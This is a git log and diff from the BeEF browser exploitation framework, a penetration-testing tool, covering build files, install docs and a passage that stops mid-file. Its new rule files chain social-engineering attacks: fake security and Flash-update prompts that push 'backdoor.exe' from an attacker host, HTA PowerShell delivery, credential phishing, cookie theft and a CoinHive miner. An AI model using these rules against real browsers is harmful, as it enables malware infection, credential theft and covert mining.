acc6114541 Re-implemented DELETE /rule/:id handler for new API.
Removed old #format_response method since this is now handled by the
Rule model.
2014-04-24 23:35:21 -04:00
soh_cah_toa
32db367ada Refactored ID filter checks into #is_valid_id?.
Added call to #remove_rule! as well.
2014-04-24 23:28:11 -04:00
soh_cah_toa
bca9eccdf0 Implemented GET ruleset, rule, and POST rule handlers.
Many filter checks were removed because the new DNS extension performs
validation before performing any database operation.

Modified message for InvalidParamError to be more modular.
2014-04-24 16:40:19 -04:00
soh_cah_toa
94fc2805d1 Added ID filter checks to #get_rule.
This is ensures that ID validation occurs when using either the Ruby API
or the RESTful API. Previously, validation was only done for the
RESTful API.
2014-04-24 16:36:44 -04:00
soh_cah_toa
7b229a2a20 Added new #validate_pattern method.
Uses BeEF::Filters to ensure that empty, null, and non-printable
patterns are tossed out. Added new InvalidDnsPatternError exception
class to handle these cases.

Renamed #validate_response to #format_callback since the name is more
appropriate.
2014-04-24 14:26:37 -04:00
soh_cah_toa
ad25c49b2d Refactored IP filters into parameterized #is_valid_ip?.
Using parameterized methods is better structured coding style rather
than defining multiple similarly-behaved methods.

annex_region('crimea') # good
vs.
annex_crimea # bad
2014-04-24 13:11:00 -04:00
soh_cah_toa
01ad87250f Removed unnecessary run_server unit tests.
Setting the server address:port is now handled by RubyDNS. Therefore,
verifying this via unit tests is no longer necessary.
2014-04-23 22:02:19 -04:00
soh_cah_toa
820ba3a2e7 Updated interface unit tests with new method names. 2014-04-23 21:50:23 -04:00
soh_cah_toa
3ed4098c2f Added unit test assertions for new config options. 2014-04-23 21:47:45 -04:00
soh_cah_toa
e791fca8a9 Updated #validate_response to use BeEF::Filters. 2014-04-23 18:07:27 -04:00
soh_cah_toa
5d73d7f084 Improved BeEF::Filters support for IPv4 and IPV6.
Changed regex in #is_valid_ip? to be more strict since it previously
would have matched an invalid IP such as 999.999.999.999. Changed its
name to #is_valid_ipv4?.

Added new #is_valid_ipv6? method that validates IPv6 addresses. It is
very comprehensive and will match normal IPv6 addresses, zero
compressed, link-local with zone index, and IPv6 addresses that have
IPv4 embedded, mapped, and translated.

Added new #is_valid_domain? method that validates domain names.
2014-04-23 17:49:41 -04:00
soh_cah_toa
6385ddf85b Changed data type of :callback property to Object.
Using String was sufficient but this way is more consistent.
2014-04-23 16:50:47 -04:00
soh_cah_toa
bd9891dc4d Implemented #validate_response method in Dns::Rule.
Perhaps the ugliest part of the DNS extension, it is also the most
crucial. This method ensures that a given resource and response are
appropriate for each other. It must also prevent RCE vulns since the
input is eval'd later on.

However, HINFO, MINFO, and especially TXT validation is not strict
enough. These three need to be reviewed scrupulously since a 100%
anti-RCE solution may prove to be difficult.
2014-04-23 16:39:26 -04:00
soh_cah_toa
53a54de5fe Added @database to Dns::Server as a model reference. 2014-04-23 16:36:16 -04:00
soh_cah_toa
3029d3cea8 Implemented #process method that handles requests.
The DNS server now searches for matching rules and sends its response
when handling incoming requests. However, all rules are still assigned
the same callback for the moment.
2014-04-23 13:28:34 -04:00
soh_cah_toa
0dd9c193ec Appended ! to #remove_rule and #remove_ruleset.
Adhering to the Ruby convention, this indicates that these methods
mutate the receiver and, therefore, should be considered dangerous.
2014-04-23 12:53:41 -04:00
soh_cah_toa
2303851498 Implemented #remove_ruleset method. 2014-04-23 12:50:42 -04:00
soh_cah_toa
56c686de64 Implemented #get_ruleset method.
Also refactored #get_rule to use new #to_hash helper method since
2014-04-23 12:42:39 -04:00
soh_cah_toa
ed986e4ed5 Implemented #remove_rule method. 2014-04-23 12:07:59 -04:00
soh_cah_toa
b345da0203 Implemented #get_rule method. 2014-04-23 12:00:23 -04:00
soh_cah_toa
007f6302df Re-implemented #generate_id in Core::Main::Crypto.
This is a better home for it since that is where other OpenSSL
crypto/token generator methods reside.
2014-04-23 11:41:11 -04:00
soh_cah_toa
861d66207d Implemented new Rule model and #add_rule method. 2014-04-23 11:27:49 -04:00
soh_cah_toa
8c4ece815e Removed obsolete Sourcify reference in loader.rb. 2014-04-23 11:19:17 -04:00
soh_cah_toa
7386a7708b Changed Dns::Server to use RubyDNS 0.7.x API.
At this point, it is just a prototype that resolves any request to
1.1.1.1.
2014-04-23 11:14:35 -04:00
soh_cah_toa
f4d3858af6 Removed unneeded files in ruby/ subdirectory.
Changed Logger overrides to disable logging instead of using BeEF's
print_* methods. RubyDNS logging is too verbose. The DNS extension will
perform debug logging on its own.
2014-04-22 22:56:21 -04:00
soh_cah_toa
d4ba3ec98c Re-enabled DNS extension in config files. 2014-04-22 22:50:31 -04:00
soh_cah_toa
0f7f86e0f3 Changed Gemfile to use RubyDNS 0.7.0.
Also removed Sourcify since it's no longer needed.
2014-04-22 22:46:38 -04:00
Saafan
a5e7823588 Adding the JS code of the Skype XSS exploit 2012-03-10 20:46:04 +02:00
asaafan
8c74fdd680 Adding branch for Skype XSS module 2012-03-09 01:55:44 +02:00
1796 changed files with 74718 additions and 14413 deletions

49
.github/ISSUE_TEMPLATE.md vendored Normal file
View File

@@ -0,0 +1,49 @@
Verify first that your issue/request has not been posted previously:
* https://github.com/beefproject/beef/issues
* https://github.com/beefproject/beef/wiki/FAQ
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/beef-0.4.7.2).
#### Environment
What version/revision of BeEF are you using?
On what version of Ruby?
On what browser?
On what operating system?
#### Configuration
Are you using a non-default configuration?
Have you enabled or disabled any BeEF extensions?
#### Summary
Please provide a summary of the issue.
#### Expected Behaviour
What was the expected result?
#### Actual Behaviour
What was the actual result?
#### Steps to Reproduce
Please provide steps to reproduce this issue.
#### Additional Information
Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be enabled by specifying `debug: true` in the `config.yaml` configuration file.

104
.gitignore vendored
View File

@@ -1,8 +1,112 @@
### BeEF ###
beef.db
beef.log
test/msf-test
extensions/admin_ui/media/javascript-min/
custom-config.yaml
.DS_Store
.gitignore
.rvmrc
beef.log
*.lock
extensions/metasploit/msf-exploits.cache
# ruby debugging
.byebug_history
# The following lines were created by https://www.gitignore.io
### Linux ###
*~
# KDE directory preferences
.directory
### vim ###
[._]*.s[a-w][a-z]
[._]s[a-w][a-z]
*.un~
Session.vim
.netrwhist
*~
### Emacs ###
# -*- mode: gitignore; -*-
*~
\#*\#
/.emacs.desktop
/.emacs.desktop.lock
*.elc
auto-save-list
tramp
.\#*
# Org-mode
.org-id-locations
*_archive
# flymake-mode
*_flymake.*
# eshell files
/eshell/history
/eshell/lastdir
# elpa packages
/elpa/
# reftex files
*.rel
# AUCTeX auto folder
/auto/
# cask packages
.cask/
### nanoc ###
# For projects using nanoc (http://nanoc.ws/)
# Default location for output, needs to match output_dir's value found in config.yaml
output/
# Temporary file directory
tmp/
# Crash Log
crash.log
### Windows ###
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Windows Installer files
*.cab
*.msi
*.msm
*.msp
# Windows shortcuts
*.lnk
### TortoiseGit ###
# Project-level settings
/.tgitconfig
test/thirdparty/msf/unit/.byebug_history
/load

4
.rspec Normal file
View File

@@ -0,0 +1,4 @@
--format documentation
--color
--require spec_helper
-I .

24
.rubocop.yml Normal file
View File

@@ -0,0 +1,24 @@
AllCops:
Exclude:
- 'test/**/*'
- 'tmp/**/*'
- 'tools/**/*'
- 'doc/**/*'
TargetRubyVersion: 2.4
Metrics/AbcSize:
Enabled: false
Metrics/BlockLength:
Enabled: false
Metrics/ClassLength:
Enabled: false
Metrics/LineLength:
Enabled: false
Metrics/MethodLength:
Enabled: false
Metrics/PerceivedComplexity:
Enabled: false
Metrics/CyclomaticComplexity:
Enabled: false
Style/FrozenStringLiteralComment:
Enabled: false

1
.ruby-gemset Normal file
View File

@@ -0,0 +1 @@
beef

1
.ruby-version Normal file
View File

@@ -0,0 +1 @@
2.5.3

22
.travis.yml Normal file
View File

@@ -0,0 +1,22 @@
language: ruby
rvm:
- 2.4.0
- 2.5.3
- 2.6.0
notifications:
email:
recipients:
- wade@bindshell.net
on_success: always
on_failure: always
addons:
apt:
packages:
- libsqlite3-dev
- build-essential
- patch
- ruby-dev
- zlib1g-dev
- liblzma-dev
- libcurl4-openssl-dev

View File

@@ -1,2 +0,0 @@
# Reference for old (<1.2) versions of BeEF Live
bash /opt/beef/liveCD/BeEFLive.sh

119
Gemfile
View File

@@ -1,61 +1,86 @@
# BeEF's Gemfile
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
gem "eventmachine", "1.0.3"
gem "thin"
gem "sinatra", "1.4.2"
gem "rack", "1.5.2"
gem "em-websocket", "~> 0.3.6" # WebSocket support
gem "uglifier", "~> 2.2.1"
gem 'eventmachine'
gem 'thin'
gem 'sinatra'
gem 'rack'
gem 'rack-protection'
gem 'em-websocket' # WebSocket support
gem 'uglifier'
gem 'mime-types'
gem 'execjs'
gem 'ansi'
gem 'term-ansicolor', :require => 'term/ansicolor'
gem 'json'
gem 'rubyzip', '>= 1.2.2'
gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice
gem 'nokogiri', '>= 1.10.4'
gem 'rake'
# Windows support
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
gem "therubyracer", "~> 0.11.0beta1"
gem "execjs"
gem "win32console"
elsif !RUBY_PLATFORM.downcase.include?("darwin")
gem "therubyracer"
gem "execjs"
gem 'otr-activerecord'
gem 'sqlite3'
# Geolocation support
group :geoip do
gem 'maxmind-db'
end
gem "ansi"
gem "term-ansicolor", :require => "term/ansicolor"
gem "dm-core"
gem "json"
gem "data_objects"
gem "dm-sqlite-adapter" # SQLite support
#gem dm-postgres-adapter # PostgreSQL support
#gem dm-mysql-adapter # MySQL support
gem "parseconfig"
gem "erubis"
gem "dm-migrations"
gem "msfrpc-client" # Metasploit Integration extension
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension
gem "rubyzip", ">= 1.0.0"
gem "rubydns" # DNS extension
gem "sourcify"
gem "geoip" # geolocation support
gem 'parseconfig'
gem 'erubis'
# Metasploit Integration extension
group :ext_msf do
gem 'msfrpc-client'
gem 'xmlrpc'
end
# Notifications extension
group :ext_notifications do
# Pushover
gem 'rushover'
# Slack
gem 'slack-notifier'
# Twitter
gem 'twitter', '>= 5.0.0'
end
# DNS extension
group :ext_dns do
gem 'rubydns', '~> 0.7.3'
end
# QRcode extension
group :ext_qrcode do
gem 'qr4r'
end
# For running unit tests
if ENV['BEEF_TEST']
gem "test-unit"
gem "test-unit-full"
gem "curb"
gem "test-unit"
gem "selenium"
gem "selenium-webdriver"
# nokogirl is needed by capybara which may require one of the below commands
# sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt
gem "capybara"
# RESTful API tests/generic command module tests
gem "rest-client", "~> 1.6.7"
group :test do
gem 'test-unit'
gem 'test-unit-full'
gem 'rspec'
gem 'rdoc'
# curb gem requires curl libraries
# sudo apt-get install libcurl4-openssl-dev
gem 'curb'
# selenium-webdriver 3.x is incompatible with Firefox version 48 and prior
# gem 'selenium' # Requires old version of selenium which is no longer available
gem 'geckodriver-helper'
gem 'selenium-webdriver'
# nokogirl is needed by capybara which may require one of the below commands
# sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt
gem 'capybara'
# RESTful API tests/generic command module tests
gem 'rest-client', '>= 2.0.1'
gem 'irb'
gem 'pry-byebug'
end
source "http://rubygems.org"
source 'https://rubygems.org'

View File

@@ -1,74 +1,71 @@
===============================================================================
Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
===============================================================================
Source
------
Obtain application source code either by downloading the latest archive:
$ wget https://github.com/beefproject/beef/archive/master.zip
Or cloning the Git repository from Github:
$ git clone https://github.com/beefproject/beef
Prerequisites
--------------
BeEF requires Ruby 2.4+.
If your operating system package manager does not support Ruby version 2.4,
you can add the brightbox ppa repository for the latest version of Ruby:
$ sudo apt-add-repository -y ppa:brightbox/ruby-ng
Alternatively, consider using a Ruby environment manager such as rbenv or rvm
to manager your Ruby versions. Refer to the following for more information:
* rbenv: https://github.com/rbenv/rbenv
* rvm: https://rvm.io/rvm/install
Installation
------------
1. Prerequisites (platform independent)
2. Prerequisites (Windows)
3. Prerequisites (Linux)
4. Prerequisites (Mac OSX)
5. Install instructions
6. Run instructions
Once Ruby is installed, run the install script in the BeEF directory:
./install
This script installs the required operating system packages and all the
prerequisite Ruby gems.
Upon successful installation, be sure to read the Configuration page
on the wiki for important details on configuring and securing BeEF.
https://github.com/beefproject/beef/wiki/Configuration
Start BeEF
----------
1. Prerequisites (platform independent)
To start BeEF, simply run:
BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
$ ./beef
gem install bundler
2. Prerequisites (Windows)
Updating
--------
!!! This must be done PRIOR to running the bundle install command !!!
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
Due to the fast-paced nature of web browser development and webappsec landscape,
it's best to regularly update BeEF to the latest version.
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
If you're using BeEF from the GitHub repository, updating is as simple as:
Other than that, you also need TheRubyRacer. As it's painful to install it on Windows, you can download 2 pre-compiled V8 DLLs and 2 gems from https://github.com/hiranpeiris/therubyracer_for_windows.
$ git pull
3. Prerequisites (Linux)
!!! This must be done PRIOR to running the bundle install command !!!
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatible and conflicting ruby packages that are required
3.2. rvm install 1.9.3-p484
3.3. rvm use 1.9.3
4. Prerequisites (Mac OSX)
- XCode: provides the sqlite support BeEF needs
- Ruby 1.9
To install RVM and Ruby 1.9.3 on Mac OS:
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
$ rvm install 1.9.3-p484
$ rvm use 1.9.3
5. Install instructions
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/archive/master.zip or cloning the GIT repo https://github.com/beefproject/beef.git
Enter into the newly created BeEF directory, and type:
bundle install
Bundler installs all the pre-requisite gems.
6. Run instructions
Simply run:
./beef -x

60
README
View File

@@ -1,60 +0,0 @@
===============================================================================
Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
===============================================================================
What is BeEF?
-------------
BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Get Involved
------------
You can get in touch with the BeEF team. Just check out the following:
Please, send us pull requests!
Web: http://beefproject.com/
Mail: beef-subscribe@bindshell.net
IRC: ircs://irc.freenode.net/beefproject
Twitter: @beefproject
Requirements
------------
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
* [Ruby](http://rubylang.org) 1.9.2 or higher
* [SQLite](http://sqlite.org) 3.x
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
Quick Start
-----------
__The following is for the impatient.__
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
Usage
-----
To get started, simply execute beef and follow the instructions:
$ ./beef

View File

@@ -1,6 +1,6 @@
===============================================================================
Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
@@ -14,17 +14,19 @@ __BeEF__ is short for __The Browser Exploitation Framework__. It is a penetratio
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Get Involved
Get Involved
------------
You can get in touch with the BeEF team. Just check out the following:
You can get in touch with the BeEF team. Just check out the following:
__Please, send us pull requests!__
__Web:__ http://beefproject.com/
__Web:__ https://beefproject.com/
__Mail:__ beef-subscribe@bindshell.net
__Bugs:__ https://github.com/beefproject/beef/issues
__Security Bugs:__ security@beefproject.com
__IRC:__ ircs://irc.freenode.net/beefproject
@@ -34,30 +36,37 @@ __Twitter:__ @beefproject
Requirements
------------
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
* [Ruby](http://rubylang.org) 1.9.2 or higher
* [SQLite](http://sqlite.org) 3.x
* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
* [Ruby](http://ruby-lang.org): 2.4 or newer
* [SQLite](http://sqlite.org): 3.x
* [Node.js](https://nodejs.org): 6 or newer
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
* Selenium is required on OSX: brew install selenium-server-standalone (See https://github.com/shvets/selenium)
Quick Start
-----------
-----------
__The following is for the impatient.__
__The following is for the impatient.__
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
The `install` script installs the required operating system packages and all the prerequisite Ruby gems:
$ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
```
$ ./install
```
For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt).
We also have an [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.
Usage
-----
Usage
-----
To get started, simply execute beef and follow the instructions:
To get started, simply execute beef and follow the instructions:
$ ./beef
On windows use
$ ruby beef
```
$ ./beef
```

147
Rakefile
View File

@@ -1,54 +1,86 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'yaml'
require 'bundler/setup'
load 'tasks/otr-activerecord.rake'
#require 'pry-byebug'
task :default => ["quick"]
desc "Run quick tests"
task :quick do
Rake::Task['unit'].invoke # run unit tests
task :default => ["spec"]
desc 'Generate API documentation to doc/rdocs/index.html'
task :rdoc do
Rake::Task['rdoc:rerdoc'].invoke
end
desc "Run all tests"
task :all do
Rake::Task['integration'].invoke # run integration tests
Rake::Task['unit'].invoke # run unit tests
Rake::Task['msf'].invoke # run msf tests
## RSPEC
require 'rspec/core/rake_task'
RSpec::Core::RakeTask.new(:spec)
################################
# SSL/TLS certificate
namespace :ssl do
desc 'Create a new SSL certificate'
task :create do
if File.file?('beef_key.pem')
puts 'Certificate already exists. Replace? [Y/n]'
confirm = STDIN.getch.chomp
unless confirm.eql?('') || confirm.downcase.eql?('y')
puts "Aborted"
exit 1
end
end
Rake::Task['ssl:replace'].invoke
end
desc 'Re-generate SSL certificate'
task :replace do
if File.file?('/usr/local/bin/openssl')
path = '/usr/local/bin/openssl'
elsif File.file?('/usr/bin/openssl')
path = '/usr/bin/openssl'
else
puts "[-] Error: could not find openssl"
exit 1
end
IO.popen([path, 'req', '-new', '-newkey', 'rsa:4096', '-sha256', '-x509', '-days', '3650', '-nodes', '-out', 'beef_cert.pem', '-keyout', 'beef_key.pem', '-subj', '/CN=localhost'], 'r+').read.to_s
end
end
desc "Run automated tests (for Jenkins)"
task :automated do
Rake::Task['xserver_start'].invoke
Rake::Task['all'].invoke
Rake::Task['xserver_stop'].invoke
################################
# rdoc
namespace :rdoc do
require 'rdoc/task'
desc 'Generate API documentation to doc/rdocs/index.html'
Rake::RDocTask.new do |rd|
rd.rdoc_dir = 'doc/rdocs'
rd.main = 'README.mkd'
rd.rdoc_files.include('core/**/*\.rb')
#'extensions/**/*\.rb'
#'modules/**/*\.rb'
rd.options << '--line-numbers'
rd.options << '--all'
end
end
desc "Run integration unit tests"
task :integration => ["install"] do
Rake::Task['beef_start'].invoke
sh "export DISPLAY=:0; cd test/integration;ruby -W0 ts_integration.rb"
Rake::Task['beef_stop'].invoke
end
desc "Run integration unit tests"
task :unit => ["install"] do
sh "cd test/unit;ruby -W0 ts_unit.rb"
end
desc "Run MSF unit tests"
task :msf => ["install", "msf_install"] do
Rake::Task['msf_update'].invoke
Rake::Task['msf_start'].invoke
sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
Rake::Task['msf_stop'].invoke
end
################################
# Install
#task :install do
# sh "export BEEF_TEST=true"
#end
################################
# X11 set up
@@ -67,28 +99,54 @@ end
task :xserver_stop do
puts "\nShutting down X11 Server...\n"
sh "ps -ef|grep Xvfb|grep -v grep|awk '{print $2}'|xargs kill"
sh "ps -ef|grep Xvfb|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
end
################################
# BeEF environment set up
@beef_process_id = nil;
@beef_config_file = 'tmp/rk_beef_conf.yaml';
task :beef_start => 'beef' do
# read environment param for creds or use bad_fred
test_user = ENV['TEST_BEEF_USER'] || 'bad_fred'
test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'
# write a rake config file for beef
config = YAML.load(File.read('./config.yaml'))
config['beef']['credentials']['user'] = test_user
config['beef']['credentials']['passwd'] = test_pass
Dir.mkdir('tmp') unless Dir.exists?('tmp')
File.open(@beef_config_file, 'w') { |f| YAML.dump(config, f) }
# set the environment creds -- in case we're using bad_fred
ENV['TEST_BEEF_USER'] = test_user
ENV['TEST_BEEF_PASS'] = test_pass
config = nil
puts "Using config file: #{@beef_config_file}\n"
printf "Starting BeEF (wait a few seconds)..."
@beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
delays = [10, 10, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
@beef_process_id = IO.popen("ruby ./beef -c #{@beef_config_file} -x 2> /dev/null", "w+")
delays = [5, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
delays.each do |i| # delay for a few seconds
printf '.'
sleep (i)
end
puts '.'
puts ".\n\n"
end
task :beef_stop do
puts "\nShutting down BeEF...\n"
sh "ps -ef|grep beef|grep -v grep|awk '{print $2}'|xargs kill"
# cleanup tmp/config files
puts "\nCleanup config file:\n"
rm_f @beef_config_file
ENV['TEST_BEEF_USER'] = nil
ENV['TEST_BEEF_PASS'] = nil
# shutting down
puts "Shutting down BeEF...\n"
sh "ps -ef|grep beef|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
end
################################
@@ -145,7 +203,7 @@ end
################################
# Create CDE Package
# This will download and make the CDE Executable and
# This will download and make the CDE Executable and
# gnereate a CDE Package in cde-package
task :cde do
@@ -180,7 +238,10 @@ task :cde_beef_start => 'beef' do
puts '.'
end
################################
# ActiveRecord
namespace :db do
task :environment do
require_relative "beef"
end
end

View File

@@ -1,7 +1,7 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
0.4.5.0-alpha
0.4.7.4-alpha-pre

18
arerules/alert.json Normal file
View File

@@ -0,0 +1,18 @@
{"name": "Display an alert",
"author": "mgeeky",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "alert_dialog",
"condition": null,
"options": {
"text":"You've been BeEFed ;>"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,35 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "S",
"browser_version": ">= 7",
"os": "OSX",
"os_version": "<= 10.10",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,20 @@
{"name": "Start CoinHive JavaScript miner",
"author": "bcoles",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "coinhive_miner",
"condition": null,
"options": {
"public_token":"Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV",
"mode":"FORCE_EXCLUSIVE_TAB",
"mobile_enabled":""
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,20 @@
{"name": "Confirm Close Tab",
"author": "mgeeky",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "confirm_close_tab",
"condition": null,
"code": null,
"options": {
"text":"Are you sure you want to navigate away from this page?",
"usePopUnder":"true"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

2
arerules/enabled/README Normal file
View File

@@ -0,0 +1,2 @@
Move here the ARE rule files that you want to pre-load when BeEF starts.
Make sure they are .json files (any other file extension is ignored).

View File

@@ -0,0 +1,20 @@
{
"name": "Firefox Extension Dropper",
"author": "antisnatchor",
"browser": "FF",
"browser_version": "ALL",
"os": "OSX",
"os_version": ">= 10.8",
"modules": [{
"name": "firefox_extension_dropper",
"condition": null,
"options": {
"extension_name": "Ummeneske",
"xpi_name": "Ummeneske",
"base_host": "http://172.16.45.1:3000"
}
}],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

18
arerules/get_cookie.json Normal file
View File

@@ -0,0 +1,18 @@
{
"name": "Get Cookie",
"author": "@benichmt1",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_cookie",
"condition": null,
"options": {
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,31 @@
{
"name": "Ie Fake Notification + Clippy",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "== 11",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
}
}
,{
"name": "clippy",
"condition": null,
"options": {
"clippydir": "http://172.16.45.1:3000/clippy/",
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
"executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
"respawntime":"5000",
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
}
}
],
"execution_order": [0,1],
"execution_delay": [0,2000],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,27 @@
{
"name": "HTA PowerShell",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "ALL",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
}
},
{
"name": "hta_powershell",
"condition": null,
"options": {
"domain":"http://172.16.45.1:3000",
"ps_url":"/ps"
}
}],
"execution_order": [0,1],
"execution_delay": [0,500],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,27 @@
{
"name": "Fake missing plugin + Pretty Theft LinkedIn",
"author": "antisnatchor",
"browser": "IE",
"browser_version": ">= 8",
"os": "Windows",
"os_version": "== XP",
"modules": [{
"name": "fake_notification_c",
"condition": null,
"options": {
"url": "http://172.16.45.1:3000/updates/backdoor.exe",
"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
}
}, {
"name": "pretty_theft",
"condition": null,
"options": {
"choice": "Windows",
"backing": "Grey",
"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
}
}],
"execution_order": [0, 1],
"execution_delay": [0, 5000],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,35 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "<= 8",
"os": "Windows",
"os_version": ">= XP",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
